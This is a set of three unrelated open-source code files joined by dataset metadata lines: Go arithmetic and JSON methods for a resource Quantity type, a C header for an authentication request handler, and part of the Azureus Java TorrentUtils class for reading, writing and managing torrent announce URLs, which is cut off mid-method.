// the format of the quantity will be updated to the format of y.
func (q *Quantity) Add(y Quantity) {
q.s = ""
if q.d.Dec == nil && y.d.Dec == nil {
if q.i.value == 0 {
q.Format = y.Format
}
if q.i.Add(y.i) {
return
}
} else if q.IsZero() {
q.Format = y.Format
}
q.ToDec().d.Dec.Add(q.d.Dec, y.AsDec())
}
// Sub subtracts the provided quantity from the current value in place. If the current
// value is zero, the format of the quantity will be updated to the format of y.
func (q *Quantity) Sub(y Quantity) {
q.s = ""
if q.IsZero() {
q.Format = y.Format
}
if q.d.Dec == nil && y.d.Dec == nil && q.i.Sub(y.i) {
return
}
q.ToDec().d.Dec.Sub(q.d.Dec, y.AsDec())
}
// Cmp returns 0 if the quantity is equal to y, -1 if the quantity is less than y, or 1 if the
// quantity is greater than y.
func (q *Quantity) Cmp(y Quantity) int {
if q.d.Dec == nil && y.d.Dec == nil {
return q.i.Cmp(y.i)
}
return q.AsDec().Cmp(y.AsDec())
}
// CmpInt64 returns 0 if the quantity is equal to y, -1 if the quantity is less than y, or 1 if the
// quantity is greater than y.
func (q *Quantity) CmpInt64(y int64) int {
if q.d.Dec != nil {
return q.d.Dec.Cmp(inf.NewDec(y, inf.Scale(0)))
}
return q.i.Cmp(int64Amount{value: y})
}
// Neg sets quantity to be the negative value of itself.
func (q *Quantity) Neg() {
q.s = ""
if q.d.Dec == nil {
q.i.value = -q.i.value
return
}
q.d.Dec.Neg(q.d.Dec)
}
// Equal checks equality of two Quantities. This is useful for testing with
// cmp.Equal.
func (q Quantity) Equal(v Quantity) bool {
return q.Cmp(v) == 0
}
// int64QuantityExpectedBytes is the expected width in bytes of the canonical string representation
// of most Quantity values.
const int64QuantityExpectedBytes = 18
// String formats the Quantity as a string, caching the result if not calculated.
// String is an expensive operation and caching this result significantly reduces the cost of
// normal parse / marshal operations on Quantity.
func (q *Quantity) String() string {
if len(q.s) == 0 {
result := make([]byte, 0, int64QuantityExpectedBytes)
number, suffix := q.CanonicalizeBytes(result)
number = append(number, suffix...)
q.s = string(number)
}
return q.s
}
// MarshalJSON implements the json.Marshaller interface.
func (q Quantity) MarshalJSON() ([]byte, error) {
if len(q.s) > 0 {
out := make([]byte, len(q.s)+2)
out[0], out[len(out)-1] = '"', '"'
copy(out[1:], q.s)
return out, nil
}
result := make([]byte, int64QuantityExpectedBytes, int64QuantityExpectedBytes)
result[0] = '"'
number, suffix := q.CanonicalizeBytes(result[1:1])
// if the same slice was returned to us that we passed in, avoid another allocation by copying number into
// the source slice and returning that
if len(number) > 0 && &number[0] == &result[1] && (len(number)+len(suffix)+2) <= int64QuantityExpectedBytes {
number = append(number, suffix...)
number = append(number, '"')
return result[:1+len(number)], nil
}
// if CanonicalizeBytes needed more space than our slice provided, we may need to allocate again so use
// append
result = result[:1]
result = append(result, number...)
result = append(result, suffix...)
result = append(result, '"')
return result, nil
}
// ToUnstructured implements the value.UnstructuredConverter interface.
func (q Quantity) ToUnstructured() interface{} {
return q.String()
}
// UnmarshalJSON implements the json.Unmarshaller interface.
// TODO: Remove support for leading/trailing whitespace
func (q *Quantity) UnmarshalJSON(value []byte) error {
l := len(value)
if l == 4 && bytes.Equal(value, []byte("null")) {
q.d.Dec = nil
q.i = int64Amount{}
return nil
}
if l >= 2 && value[0] == '"' && value[l-1] == '"' {
value = value[1 : l-1]
}
parsed, err := ParseQuantity(strings.TrimSpace(string(value)))
if err != nil {
return err
}
// This copy is safe because parsed will not be referred to again.
*q = parsed
return nil
}
// NewQuantity returns a new Quantity representing the given
// value in the given format.
func NewQuantity(value int64, format Format) *Quantity {
return &Quantity{
i: int64Amount{value: value},
Format: format,
}
}
// NewMilliQuantity returns a new Quantity representing the given
// value * 1/1000 in the given format. Note that BinarySI formatting
// will round fractional values, and will be changed to DecimalSI for
// values x where (-1 < x < 1) && (x != 0).
func NewMilliQuantity(value int64, format Format) *Quantity {
return &Quantity{
i: int64Amount{value: value, scale: -3},
Format: format,
}
}
// NewScaledQuantity returns a new Quantity representing the given
// value * 10^scale in DecimalSI format.
func NewScaledQuantity(value int64, scale Scale) *Quantity {
return &Quantity{
i: int64Amount{value: value, scale: scale},
Format: DecimalSI,
}
}
// Value returns the unscaled value of q rounded up to the nearest integer away from 0.
func (q *Quantity) Value() int64 {
return q.ScaledValue(0)
}
// MilliValue returns the value of ceil(q * 1000); this could overflow an int64;
// if that's a concern, call Value() first to verify the number is small enough.
func (q *Quantity) MilliValue() int64 {
return q.ScaledValue(Milli)
}
// ScaledValue returns the value of ceil(q / 10^scale).
// For example, NewQuantity(1, DecimalSI).ScaledValue(Milli) returns 1000.
// This could overflow an int64.
// To detect overflow, call Value() first and verify the expected magnitude.
func (q *Quantity) ScaledValue(scale Scale) int64 {
if q.d.Dec == nil {
i, _ := q.i.AsScaledInt64(scale)
return i
}
dec := q.d.Dec
return scaledValue(dec.UnscaledBig(), int(dec.Scale()), int(scale.infScale()))
}
// Set sets q's value to be value.
func (q *Quantity) Set(value int64) {
q.SetScaled(value, 0)
}
// SetMilli sets q's value to be value * 1/1000.
func (q *Quantity) SetMilli(value int64) {
q.SetScaled(value, Milli)
}
// SetScaled sets q's value to be value * 10^scale
func (q *Quantity) SetScaled(value int64, scale Scale) {
q.s = ""
q.d.Dec = nil
q.i = int64Amount{value: value, scale: scale}
}
| {
"pile_set_name": "Github"
} |
#ifndef AUTH_REQUEST_HANDLER_PRIVATE_H
#define AUTH_REQUEST_HANDLER_PRIVATE_H
struct auth_request;
struct auth_client_connection;
struct auth_request_handler {
int refcount;
pool_t pool;
HASH_TABLE(void *, struct auth_request *) requests;
unsigned int connect_uid, client_pid;
auth_client_request_callback_t *callback;
struct auth_client_connection *conn;
auth_master_request_callback_t *master_callback;
auth_request_handler_reply_callback_t *reply_callback;
auth_request_handler_reply_continue_callback_t *reply_continue_callback;
verify_plain_continue_callback_t *verify_plain_continue_callback;
bool destroyed:1;
bool token_auth:1;
};
#endif
| {
"pile_set_name": "Github"
} |
/*
* File : TorrentUtils.java
* Created : 13-Oct-2003
* By : stuff
*
* Azureus - a Java Bittorrent client
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details ( see the LICENSE file ).
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*/
package org.gudy.azureus2.core3.util;
/**
* @author parg
*
*/
import java.io.*;
import java.net.*;
import java.util.*;
import com.aelitis.azureus.core.*;
import com.aelitis.azureus.plugins.dht.DHTPlugin;
import org.gudy.azureus2.core3.config.COConfigurationManager;
import org.gudy.azureus2.core3.config.ParameterListener;
import org.gudy.azureus2.core3.internat.*;
import org.gudy.azureus2.core3.logging.LogRelation;
import org.gudy.azureus2.core3.torrent.*;
import org.gudy.azureus2.core3.disk.*;
import org.gudy.azureus2.core3.download.*;
import org.gudy.azureus2.plugins.PluginInterface;
public class
TorrentUtils
{
public static final int TORRENT_FLAG_LOW_NOISE = 0x00000001;
private static final String TORRENT_AZ_PROP_DHT_BACKUP_ENABLE = "dht_backup_enable";
private static final String TORRENT_AZ_PROP_DHT_BACKUP_REQUESTED = "dht_backup_requested";
private static final String TORRENT_AZ_PROP_TORRENT_FLAGS = "torrent_flags";
private static final String TORRENT_AZ_PROP_PLUGINS = "plugins";
private static final String MEM_ONLY_TORRENT_PATH = "?/\\!:mem_only:!\\/?";
private static final List created_torrents;
private static final Set created_torrents_set;
private static ThreadLocal tls =
new ThreadLocal()
{
public Object
initialValue()
{
return( new HashMap());
}
};
private static volatile Set ignore_set;
private static boolean bSaveTorrentBackup;
static {
COConfigurationManager.addAndFireParameterListener("Save Torrent Backup",
new ParameterListener() {
public void parameterChanged(String parameterName) {
bSaveTorrentBackup = COConfigurationManager.getBooleanParameter(parameterName);
}
});
created_torrents = COConfigurationManager.getListParameter( "my.created.torrents", new ArrayList());
created_torrents_set = new HashSet();
Iterator it = created_torrents.iterator();
while( it.hasNext()){
created_torrents_set.add( new HashWrapper((byte[])it.next()));
}
}
public static TOTorrent
readFromFile(
File file,
boolean create_delegate )
throws TOTorrentException
{
return( readFromFile( file, create_delegate, false ));
}
/**
* If you set "create_delegate" to true then you must understand that this results
* is piece hashes being discarded and then re-read from the torrent file if needed
* Therefore, if you delete the original torrent file you're going to get errors
* if you access the pieces after this (and they've been discarded)
* @param file
* @param create_delegate
* @param force_initial_discard - use to get rid of pieces immediately
* @return
* @throws TOTorrentException
*/
public static ExtendedTorrent
readDelegateFromFile(
File file,
boolean force_initial_discard )
throws TOTorrentException
{
return((ExtendedTorrent)readFromFile( file, true, force_initial_discard ));
}
public static TOTorrent
readFromFile(
File file,
boolean create_delegate,
boolean force_initial_discard )
throws TOTorrentException
{
TOTorrent torrent;
try{
torrent = TOTorrentFactory.deserialiseFromBEncodedFile(file);
// make an immediate backup if requested and one doesn't exist
if (bSaveTorrentBackup) {
File torrent_file_bak = new File(file.getParent(), file.getName() + ".bak");
if ( !torrent_file_bak.exists()){
try{
torrent.serialiseToBEncodedFile(torrent_file_bak);
}catch( Throwable e ){
Debug.printStackTrace(e);
}
}
}
}catch (TOTorrentException e){
Debug.outNoStack( e.getMessage() );
File torrentBackup = new File(file.getParent(), file.getName() + ".bak");
if( torrentBackup.exists()){
torrent = TOTorrentFactory.deserialiseFromBEncodedFile(torrentBackup);
// use the original torrent's file name so that when this gets saved
// it writes back to the original and backups are made as required
// - set below
}else{
throw e;
}
}
torrent.setAdditionalStringProperty("torrent filename", file.toString());
if ( create_delegate ){
torrentDelegate res = new torrentDelegate( torrent, file );
if ( force_initial_discard ){
res.discardPieces( SystemTime.getCurrentTime(), true );
}
return( res );
}else{
return( torrent );
}
}
public static TOTorrent
readFromBEncodedInputStream(
InputStream is )
throws TOTorrentException
{
TOTorrent torrent = TOTorrentFactory.deserialiseFromBEncodedInputStream( is );
// as we've just imported this torrent we want to clear out any possible attributes that we
// don't want such as "torrent filename"
torrent.removeAdditionalProperties();
return( torrent );
}
public static void
setMemoryOnly(
TOTorrent torrent,
boolean mem_only )
{
if ( mem_only ){
torrent.setAdditionalStringProperty("torrent filename", MEM_ONLY_TORRENT_PATH );
}else{
String s = torrent.getAdditionalStringProperty("torrent filename");
if ( s != null && s.equals( MEM_ONLY_TORRENT_PATH )){
torrent.removeAdditionalProperty( "torrent filename" );
}
}
}
public static void
writeToFile(
final TOTorrent torrent )
throws TOTorrentException
{
writeToFile( torrent, false );
}
public static void
writeToFile(
TOTorrent torrent,
boolean force_backup )
throws TOTorrentException
{
try{
torrent.getMonitor().enter();
String str = torrent.getAdditionalStringProperty("torrent filename");
if ( str == null ){
throw (new TOTorrentException("TorrentUtils::writeToFile: no 'torrent filename' attribute defined", TOTorrentException.RT_FILE_NOT_FOUND));
}
if ( str.equals( MEM_ONLY_TORRENT_PATH )){
return;
}
// save first to temporary file as serialisation may require state to be re-read from
// the existing file first and if we rename to .bak first then this aint good
File torrent_file_tmp = new File(str + "._az");
torrent.serialiseToBEncodedFile( torrent_file_tmp );
// now backup if required
File torrent_file = new File(str);
if ( ( force_backup ||COConfigurationManager.getBooleanParameter("Save Torrent Backup")) &&
torrent_file.exists()) {
File torrent_file_bak = new File(str + ".bak");
try{
// Will return false if it cannot be deleted (including if the file doesn't exist).
torrent_file_bak.delete();
torrent_file.renameTo(torrent_file_bak);
}catch( SecurityException e){
Debug.printStackTrace( e );
}
}
// now rename the temp file to required one
if ( torrent_file.exists()){
torrent_file.delete();
}
torrent_file_tmp.renameTo( torrent_file );
}finally{
torrent.getMonitor().exit();
}
}
public static void
writeToFile(
TOTorrent torrent,
File file )
throws TOTorrentException
{
writeToFile( torrent, file, false );
}
public static void
writeToFile(
TOTorrent torrent,
File file,
boolean force_backup )
throws TOTorrentException
{
torrent.setAdditionalStringProperty("torrent filename", file.toString());
writeToFile( torrent, force_backup );
}
public static String
getTorrentFileName(
TOTorrent torrent )
throws TOTorrentException
{
String str = torrent.getAdditionalStringProperty("torrent filename");
if ( str == null ){
throw( new TOTorrentException("TorrentUtils::getTorrentFileName: no 'torrent filename' attribute defined", TOTorrentException.RT_FILE_NOT_FOUND));
}
if ( str.equals( MEM_ONLY_TORRENT_PATH )){
return( null );
}
return( str );
}
public static void
copyToFile(
TOTorrent torrent,
File file )
throws TOTorrentException
{
torrent.serialiseToBEncodedFile(file);
}
public static void
delete(
TOTorrent torrent )
throws TOTorrentException
{
try{
torrent.getMonitor().enter();
String str = torrent.getAdditionalStringProperty("torrent filename");
if ( str == null ){
throw( new TOTorrentException("TorrentUtils::delete: no 'torrent filename' attribute defined", TOTorrentException.RT_FILE_NOT_FOUND));
}
if ( str.equals( MEM_ONLY_TORRENT_PATH )){
return;
}
if ( !new File(str).delete()){
throw( new TOTorrentException("TorrentUtils::delete: failed to delete '" + str + "'", TOTorrentException.RT_WRITE_FAILS));
}
new File( str + ".bak" ).delete();
}finally{
torrent.getMonitor().exit();
}
}
public static void
delete(
File torrent_file )
{
if ( !FileUtil.deleteWithRecycle( torrent_file )){
Debug.out( "TorrentUtils::delete: failed to delete '" + torrent_file + "'" );
}
new File( torrent_file.toString() + ".bak" ).delete();
}
public static boolean
move(
File from_torrent,
File to_torrent )
{
if ( !FileUtil.renameFile(from_torrent, to_torrent )){
return( false );
}
if ( new File( from_torrent.toString() + ".bak").exists()){
FileUtil.renameFile(
new File( from_torrent.toString() + ".bak"),
new File( to_torrent.toString() + ".bak"));
}
return( true );
}
public static String
exceptionToText(
TOTorrentException e )
{
String errorDetail;
int reason = e.getReason();
if ( reason == TOTorrentException.RT_FILE_NOT_FOUND ){
errorDetail = MessageText.getString("DownloadManager.error.filenotfound" );
}else if ( reason == TOTorrentException.RT_ZERO_LENGTH ){
errorDetail = MessageText.getString("DownloadManager.error.fileempty");
}else if ( reason == TOTorrentException.RT_TOO_BIG ){
errorDetail = MessageText.getString("DownloadManager.error.filetoobig");
}else if ( reason == TOTorrentException.RT_DECODE_FAILS ){
errorDetail = MessageText.getString("DownloadManager.error.filewithouttorrentinfo" );
}else if ( reason == TOTorrentException.RT_UNSUPPORTED_ENCODING ){
errorDetail = MessageText.getString("DownloadManager.error.unsupportedencoding");
}else if ( reason == TOTorrentException.RT_READ_FAILS ){
errorDetail = MessageText.getString("DownloadManager.error.ioerror");
}else if ( reason == TOTorrentException.RT_HASH_FAILS ){
errorDetail = MessageText.getString("DownloadManager.error.sha1");
}else if ( reason == TOTorrentException.RT_CANCELLED ){
errorDetail = MessageText.getString("DownloadManager.error.operationcancancelled");
}else{
errorDetail = Debug.getNestedExceptionMessage(e);
}
String msg = Debug.getNestedExceptionMessage(e);
if ( errorDetail.indexOf( msg ) == -1){
errorDetail += " (" + msg + ")";
}
return( errorDetail );
}
public static List
announceGroupsToList(
TOTorrent torrent )
{
List groups = new ArrayList();
TOTorrentAnnounceURLGroup group = torrent.getAnnounceURLGroup();
TOTorrentAnnounceURLSet[] sets = group.getAnnounceURLSets();
if ( sets.length == 0 ){
List s = new ArrayList();
s.add( torrent.getAnnounceURL().toString());
groups.add(s);
}else{
for (int i=0;i<sets.length;i++){
List s = new ArrayList();
TOTorrentAnnounceURLSet set = sets[i];
URL[] urls = set.getAnnounceURLs();
for (int j=0;j<urls.length;j++){
s.add( urls[j].toString());
}
if ( s.size() > 0 ){
groups.add(s);
}
}
}
return( groups );
}
public static void
listToAnnounceGroups(
List groups,
TOTorrent torrent )
{
try{
TOTorrentAnnounceURLGroup tg = torrent.getAnnounceURLGroup();
if ( groups.size() == 1 ){
List set = (List)groups.get(0);
if ( set.size() == 1 ){
torrent.setAnnounceURL( new URL((String)set.get(0)));
tg.setAnnounceURLSets( new TOTorrentAnnounceURLSet[0]);
return;
}
}
Vector g = new Vector();
for (int i=0;i<groups.size();i++){
List set = (List)groups.get(i);
URL[] urls = new URL[set.size()];
for (int j=0;j<set.size();j++){
urls[j] = new URL((String)set.get(j));
}
if ( urls.length > 0 ){
g.add( tg.createAnnounceURLSet( urls ));
}
}
TOTorrentAnnounceURLSet[] sets = new TOTorrentAnnounceURLSet[g.size()];
g.copyInto( sets );
tg.setAnnounceURLSets( sets );
if ( sets.length == 0 ){
// hmm, no valid urls at all
torrent.setAnnounceURL( new URL( "http://no.valid.urls.defined/announce"));
}
}catch( MalformedURLException e ){
Debug.printStackTrace( e );
}
}
public static void
announceGroupsInsertFirst(
TOTorrent torrent,
String first_url )
{
try{
announceGroupsInsertFirst( torrent, new URL( first_url ));
}catch( MalformedURLException e ){
Debug.printStackTrace( e );
}
}
public static void
announceGroupsInsertFirst(
TOTorrent torrent,
URL first_url )
{
announceGroupsInsertFirst( torrent, new URL[]{ first_url });
}
public static void
announceGroupsInsertFirst(
TOTorrent torrent,
URL[] first_urls )
{
TOTorrentAnnounceURLGroup group = torrent.getAnnounceURLGroup();
TOTorrentAnnounceURLSet[] sets = group.getAnnounceURLSets();
TOTorrentAnnounceURLSet set1 = group.createAnnounceURLSet( first_urls );
if ( sets.length > 0 ){
TOTorrentAnnounceURLSet[] new_sets = new TOTorrentAnnounceURLSet[sets.length+1];
new_sets[0] = set1;
System.arraycopy( sets, 0, new_sets, 1, sets.length );
group.setAnnounceURLSets( new_sets );
}else{
TOTorrentAnnounceURLSet set2 = group.createAnnounceURLSet(new URL[]{torrent.getAnnounceURL()});
group.setAnnounceURLSets(
new TOTorrentAnnounceURLSet[]{ set1, set2 });
}
}
public static void
announceGroupsInsertLast(
TOTorrent torrent,
URL[] first_urls )
{
TOTorrentAnnounceURLGroup group = torrent.getAnnounceURLGroup();
TOTorrentAnnounceURLSet[] sets = group.getAnnounceURLSets();
TOTorrentAnnounceURLSet set1 = group.createAnnounceURLSet( first_urls );
if ( sets.length > 0 ){
TOTorrentAnnounceURLSet[] new_sets = new TOTorrentAnnounceURLSet[sets.length+1];
new_sets[sets.length] = set1;
System.arraycopy( sets, 0, new_sets, 0, sets.length );
group.setAnnounceURLSets( new_sets );
}else{
TOTorrentAnnounceURLSet set2 = group.createAnnounceURLSet(new URL[]{torrent.getAnnounceURL()});
group.setAnnounceURLSets(
new TOTorrentAnnounceURLSet[]{ set2, set1 });
}
}
public static void
announceGroupsSetFirst(
TOTorrent torrent,
String first_url )
{
List groups = announceGroupsToList( torrent );
boolean found = false;
outer:
for (int i=0;i<groups.size();i++){
List set = (List)groups.get(i);
for (int j=0;j<set.size();j++){
if ( first_url.equals(set.get(j))){
set.remove(j);
set.add(0, first_url);
groups.remove(set);
groups.add(0,set);
found = true;
break outer;
}
}
}
if ( !found ){
System.out.println( "TorrentUtils::announceGroupsSetFirst - failed to find '" + first_url + "'" );
}
listToAnnounceGroups( groups, torrent );
}
public static boolean
announceGroupsContainsURL(
TOTorrent torrent,
String url )
{
List groups = announceGroupsToList( torrent );
for (int i=0;i<groups.size();i++){
List set = (List)groups.get(i);
for (int j=0;j<set.size();j++){
if ( url.equals(set.get(j))){
return( true );
}
}
}
return( false );
}
public static boolean
mergeAnnounceURLs(
TOTorrent new_torrent,
TOTorrent dest_torrent )
{
if ( new_torrent == null || dest_torrent == null ){
return( false);
}
List new_groups = announceGroupsToList( new_torrent );
List dest_groups = announceGroupsToList( dest_torrent );
List groups_to_add = new ArrayList();
for (int i=0;i<new_groups.size();i++){
List new_set = (List)new_groups.get(i);
boolean match = false;
for (int j=0;j<dest_groups.size();j++){
List dest_set = (List)dest_groups.get(j);
boolean same = new_set.size() == dest_set.size();
if ( same ){
for (int k=0;k<new_set.size();k++){
String new_url = (String)new_set.get(k);
if ( !dest_set.contains(new_url)){
same = false;
break;
}
}
}
if ( same ){
match = true;
break;
}
}
if ( !match ){
groups_to_add.add( new_set );
}
}
if ( groups_to_add.size() == 0 ){
return( false );
}
for (int i=0;i<groups_to_add.size();i++){
dest_groups.add(i,groups_to_add.get(i));
}
listToAnnounceGroups( dest_groups, dest_torrent );
return( true );
}
public static boolean
replaceAnnounceURL(
TOTorrent torrent,
URL old_url,
URL new_url )
{
boolean found = false;
String old_str = old_url.toString();
String new_str = new_url.toString();
List l = announceGroupsToList( torrent );
for (int i=0;i<l.size();i++){
List set = (List)l.get(i);
for (int j=0;j<set.size();j++){
if (((String)set.get(j)).equals(old_str)){
found = true;
set.set( j, new_str );
}
}
}
if ( found ){
listToAnnounceGroups( l, torrent );
}
if ( torrent.getAnnounceURL().toString().equals( old_str )){
torrent.setAnnounceURL( new_url );
found = true;
}
if ( found ){
try{
writeToFile( torrent );
}catch( Throwable e ){
Debug.printStackTrace(e);
return( false );
}
}
return( found );
}
public static void
setResumeDataCompletelyValid(
DownloadManagerState download_manager_state )
{
DiskManagerFactory.setResumeDataCompletelyValid( download_manager_state );
}
public static String
getLocalisedName(
TOTorrent torrent )
{
try{
LocaleUtilDecoder decoder = LocaleTorrentUtil.getTorrentEncodingIfAvailable( torrent );
if ( decoder == null ){
return( new String(torrent.getName(),Constants.DEFAULT_ENCODING));
}
return( decoder.decodeString(torrent.getName()));
}catch( Throwable e ){
Debug.printStackTrace( e );
return( new String( torrent.getName()));
}
}
public static void
setTLSTorrentHash(
HashWrapper hash )
{
((Map)tls.get()).put( "hash", hash );
}
public static TOTorrent
getTLSTorrent()
{
HashWrapper hash = (HashWrapper)((Map)tls.get()).get("hash");
if ( hash != null ){
try{
AzureusCore core = AzureusCoreFactory.getSingleton();
DownloadManager dm = core.getGlobalManager().getDownloadManager( hash );
if ( dm != null ){
return( dm.getTorrent());
}
}catch( Throwable e ){
Debug.printStackTrace(e);
}
}
return( null );
}
public static URL
getDecentralisedEmptyURL()
{
try{
return( new URL( "dht://" ));
}catch( Throwable e ){
Debug.printStackTrace(e);
return( null );
}
}
public static void
setDecentralised(
TOTorrent torrent )
{
try{
byte[] hash = torrent.getHash();
torrent.setAnnounceURL( new URL( "dht://" + ByteFormatter.encodeString( hash ) + ".dht/announce" ));
}catch( Throwable e ){
Debug.printStackTrace( e );
}
}
public static boolean
isDecentralised(
TOTorrent torrent )
{
if ( torrent == null ){
return( false );
}
return( isDecentralised( torrent.getAnnounceURL()));
}
public static boolean
isDecentralised(
URL url )
{
if ( url == null ){
return( false );
}
return( url.getProtocol().equalsIgnoreCase( "dht" ));
}
private static Map
getAzureusProperties(
TOTorrent torrent )
{
Map m = torrent.getAdditionalMapProperty( TOTorrent.AZUREUS_PROPERTIES );
if ( m == null ){
m = new HashMap();
torrent.setAdditionalMapProperty( TOTorrent.AZUREUS_PROPERTIES, m );
}
return( m );
}
public static void
setFlag(
TOTorrent torrent,
int flag,
boolean value )
{
Map m = getAzureusProperties( torrent );
Long flags = (Long)m.get( TORRENT_AZ_PROP_TORRENT_FLAGS );
if ( flags == null ){
flags = new Long(0);
}
m.put( TORRENT_AZ_PROP_TORRENT_FLAGS, new Long(flags.intValue() | flag ));
}
public static boolean
getFlag(
TOTorrent torrent,
int flag )
{
Map m = getAzureusProperties( torrent );
Long flags = (Long)m.get( TORRENT_AZ_PROP_TORRENT_FLAGS );
if ( flags == null ){
return( false );
}
return(( flags.intValue() & flag ) != 0 );
}
public static void
setPluginStringProperty(
TOTorrent torrent,
String name,
String value )
{
Map m = getAzureusProperties( torrent );
Object obj = m.get( TORRENT_AZ_PROP_PLUGINS );
Map p;
if ( obj instanceof Map ){
p = (Map)obj;
}else{
p = new HashMap();
m.put( TORRENT_AZ_PROP_PLUGINS, p );
}
if ( value == null ){
p.remove( name );
}else{
p.put( name, value.getBytes());
}
}
public static String
getPluginStringProperty(
TOTorrent torrent,
String name )
{
Map m = getAzureusProperties( torrent );
Object obj = m.get( TORRENT_AZ_PROP_PLUGINS );
if ( obj instanceof Map ){
Map p = (Map)obj;
obj = p.get( name );
if ( obj instanceof byte[]){
return( new String((byte[])obj));
}
}
return( null );
}
public static void
setPluginMapProperty(
TOTorrent torrent,
String name,
Map value )
{
Map m = getAzureusProperties( torrent );
Object obj = m.get( TORRENT_AZ_PROP_PLUGINS );
Map p;
if ( obj instanceof Map ){
p = (Map)obj;
}else{
p = new HashMap();
m.put( TORRENT_AZ_PROP_PLUGINS, p );
}
if ( value == null ){
p.remove( name );
}else{
p.put( name, value );
}
}
public static Map
getPluginMapProperty(
TOTorrent torrent,
String name )
{
Map m = getAzureusProperties( torrent );
Object obj = m.get( TORRENT_AZ_PROP_PLUGINS );
if ( obj instanceof Map ){
Map p = (Map)obj;
obj = p.get( name );
if ( obj instanceof Map ){
return((Map)obj);
}
}
return( null );
}
public static void
setDHTBackupEnabled(
TOTorrent torrent,
boolean enabled )
{
Map m = getAzureusProperties( torrent );
m.put( TORRENT_AZ_PROP_DHT_BACKUP_ENABLE, new Long(enabled?1:0));
}
public static boolean
getDHTBackupEnabled(
TOTorrent torrent )
{
// missing -> true
Map m = getAzureusProperties( torrent );
Object obj = m.get( TORRENT_AZ_PROP_DHT_BACKUP_ENABLE );
if ( obj instanceof Long ){
return( ((Long)obj).longValue() == 1 );
}
return( true );
}
public static boolean
isDHTBackupRequested(
TOTorrent torrent )
{
// missing -> false
Map m = getAzureusProperties( torrent );
Object obj = m.get( TORRENT_AZ_PROP_DHT_BACKUP_REQUESTED );
if ( obj instanceof Long ){
return( ((Long)obj).longValue() == 1 );
}
return( false );
}
public static void
setDHTBackupRequested(
TOTorrent torrent,
boolean requested )
{
Map m = getAzureusProperties( torrent );
m.put( TORRENT_AZ_PROP_DHT_BACKUP_REQUESTED, new Long(requested?1:0));
}
public static boolean
getDHTTrackerEnabled()
{
PluginInterface dht_pi =
AzureusCoreFactory.getSingleton().getPluginManager().getPluginInterfaceByClass(
DHTPlugin.class );
if ( dht_pi == null ){
return( false );
}else{
DHTPlugin dht = (DHTPlugin)dht_pi.getPlugin();
return( dht.peekEnabled());
}
}
public static boolean
getPrivate(
TOTorrent torrent )
{
if ( torrent == null ){
return( false );
}
return( torrent.getPrivate());
}
public static void
setPrivate(
TOTorrent torrent,
boolean _private )
{
if ( torrent == null ){
return;
}
try{
torrent.setPrivate( _private );
}catch( Throwable e ){
Debug.printStackTrace(e);
}
}
public static Set
getIgnoreSet()
{
return(getIgnoreSetSupport(false));
}
public static synchronized Set
getIgnoreSetSupport(
boolean force )
{
if ( ignore_set == null || force ){
Set new_ignore_set = new HashSet();
String ignore_list = COConfigurationManager.getStringParameter( "File.Torrent.IgnoreFiles", TOTorrent.DEFAULT_IGNORE_FILES );
if ( ignore_set == null ){
// first time - add the listener
COConfigurationManager.addParameterListener(
"File.Torrent.IgnoreFiles",
new ParameterListener()
{
public void
parameterChanged(
String parameterName)
{
getIgnoreSetSupport( true );
}
});
}
int pos = 0;
while(true){
int p1 = ignore_list.indexOf( ";", pos );
String bit;
if ( p1 == -1 ){
bit = ignore_list.substring(pos);
}else{
bit = ignore_list.substring( pos, p1 );
pos = p1+1;
}
new_ignore_set.add(bit.trim().toLowerCase());
if ( p1 == -1 ){
break;
}
}
ignore_set = new_ignore_set;
}
return( ignore_set );
}
// this class exists to minimise memory requirements by discarding the piece hash values
// when "idle"
private static final int PIECE_HASH_TIMEOUT = 3*60*1000;
private static Map torrent_delegates = new WeakHashMap();
static{
SimpleTimer.addPeriodicEvent(
"TorrentUtils:pieceDiscard",
PIECE_HASH_TIMEOUT/2,
new TimerEventPerformer()
{
public void
perform(
TimerEvent event )
{
long now = SystemTime.getCurrentTime();
synchronized( torrent_delegates ){
Iterator it = torrent_delegates.keySet().iterator();
while( it.hasNext()){
((torrentDelegate)it.next()).discardPieces(now,false);
}
}
}
});
}
private static HashSet torrentFluffKeyset = new HashSet(2);
private static Map fluffThombstone = new HashMap(1);
/**
* Register keys that are used for heavyweight maps that should be discarded when the torrent is not in use
* Make sure these keys are only ever used for Map objects!
*/
public static void
registerMapFluff(
String[] fluff )
{
synchronized (TorrentUtils.class)
{
for (int i = 0; i < fluff.length; i++)
torrentFluffKeyset.add(fluff[i]);
}
}
public interface
ExtendedTorrent
extends TOTorrent
{
public byte[][]
peekPieces()
throws TOTorrentException;
public void
setDiscardFluff(
boolean discard );
}
private static class
torrentDelegate
extends LogRelation
implements ExtendedTorrent
{
private TOTorrent delegate;
private File file;
private boolean fluff_dirty;
private long last_pieces_read_time = SystemTime.getCurrentTime();
protected
torrentDelegate(
TOTorrent _delegate,
File _file )
{
delegate = _delegate;
file = _file;
synchronized( torrent_delegates ){
torrent_delegates.put( this, null );
}
}
public void
setDiscardFluff(
boolean discard )
{
if ( discard && !torrentFluffKeyset.isEmpty() ){
//System.out.println( "Discarded fluff for " + new String(getName()));
try{
getMonitor().enter();
try{
// if file is out of sync with fluff then force a write
if ( fluff_dirty ){
boolean[] restored = restoreState( true, true );
delegate.serialiseToBEncodedFile( file );
fluff_dirty = false;
if ( restored[0] ){
discardPieces( SystemTime.getCurrentTime(), true );
}
}
for(Iterator it = torrentFluffKeyset.iterator();it.hasNext();){
delegate.setAdditionalMapProperty( (String)it.next(), fluffThombstone );
}
}catch( Throwable e ){
Debug.printStackTrace( e );
}
}finally{
getMonitor().exit();
}
}
}
public byte[]
getName()
{
return( delegate.getName());
}
public boolean
isSimpleTorrent()
{
return( delegate.isSimpleTorrent());
}
public byte[]
getComment()
{
return( delegate.getComment());
}
public void
setComment(
String comment )
{
delegate.setComment( comment );
}
public long
getCreationDate()
{
return( delegate.getCreationDate());
}
public void
setCreationDate(
long date )
{
delegate.setCreationDate( date );
}
public byte[]
getCreatedBy()
{
return( delegate.getCreatedBy());
}
public boolean
isCreated()
{
return( delegate.isCreated());
}
public URL
getAnnounceURL()
{
return( delegate.getAnnounceURL());
}
public boolean
setAnnounceURL(
URL url )
{
